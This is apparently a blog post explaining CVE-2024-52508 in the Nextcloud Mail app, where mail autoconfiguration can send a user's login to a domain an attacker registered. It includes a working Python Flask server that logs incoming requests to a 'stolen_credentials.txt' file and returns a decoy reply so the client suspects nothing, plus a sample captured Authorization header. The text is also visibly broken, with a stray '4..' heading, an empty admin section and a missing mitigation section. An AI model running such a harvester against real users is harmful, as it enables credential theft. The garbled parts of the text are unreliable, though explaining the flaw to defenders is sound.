CVE-2024-52508 - How Attackers Can Steal Your Email Credentials Using Nextcloud Mail App

Nextcloud is a popular, self-hosted collaboration platform, offering tools for file sharing, calendaring, and of course—email. Their official mail client, Nextcloud Mail, makes it easy for users to set up mail accounts in their Nextcloud environment. But a critical flaw (CVE-2024-52508) recently came to light, putting users’ email credentials in the hands of attackers, if they’re not careful. In this post, we’ll break down exactly how this vulnerability works, what’s at risk, show a real-world exploitation scenario, and tell you what to do to stay safe.

What Is CVE-2024-52508?

CVE-2024-52508 is a vulnerability in Nextcloud Mail’s auto-configuration feature. Nextcloud Mail typically tries to detect your email server settings by checking different public endpoints, such as “autoconfig” domains based on your email address. However, if your email provider doesn’t offer auto-configuration, Nextcloud Mail will still attempt to query an auto-configuration server derived from your email domain. If a malicious actor has registered that “autoconfig” domain, they can harvest your submitted email credentials!

Example:

If your address is user@example.tld, Nextcloud Mail will try to access

https://autoconfig.example.tld

If an attacker owns autoconfig.example.tld, your actual mail login and password are sent straight to them.

Attacker buys the right domain:

The attacker registers a domain like autoconfig.example.tld (where example.tld is a legitimate mail server that does not offer auto-configuration).

Since example.tld doesn’t have auto-configuration, the app queries the attacker’s domain:

https://autoconfig.example.tld/mail/config-v1.1.xml

Credentials leak to attacker:

The attacker’s server receives the request, which may include the victim’s real username and password.

Exploit in Action – Proof of Concept

Let’s look at what an attacker would set up to capture credentials.

Sample Python Flask script

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    print("[*] Connection from:", request.remote_addr)
    print("[*] Headers:", request.headers)
    print("[*] Data:", request.data)
    with open('stolen_credentials.txt', 'a') as f:
        f.write(str(request.headers) + '\n' + str(request.data) + '\n\n')
    # Return a fake response so the client doesn't suspect anything
    return ('<clientConfig />', 200, {'Content-Type': 'application/xml'})

if __name__ == '__main__':
    app.run(host='...', port=443, ssl_context=('cert.pem', 'key.pem'))

User enters their user@example.tld credentials in Nextcloud Mail app.

- The app tries auto-discovering mail settings at https://autoconfig.example.tld.

- The attacker’s script logs HTTP requests, capturing data such as

Authorization: Basic dXNlcjpwYXNzd29yZA==

Who’s At Risk?

- Anyone using Nextcloud Mail with addresses at providers/domains without auto-configuration support.
- If a malicious third-party owns the autoconfig subdomain based on your email address, your sensitive info can be exposed.

4..

If you run Nextcloud Mail:
Upgrade immediately. Do not use older versions if you value your users’ privacy!

If you’re an admin:

Official References

- Nextcloud Security Advisory (CVE-2024-52508)
- NVD Entry for CVE-2024-52508
- Nextcloud Mail Releases

Summary

CVE-2024-52508 is a serious privacy issue in the way Nextcloud Mail tries to auto-configure mail accounts. It’s easy to abuse and puts your email login at risk if you’re not updated. If you use Nextcloud Mail, patch now. With attackers actively scanning for new tricks, don’t let your credentials be their next catch.


*Stay safe and keep your Nextcloud instance up to date!*

Timeline

Published on: 11/15/2024 18:15:29 UTC
Last modified on: 11/18/2024 17:11:56 UTC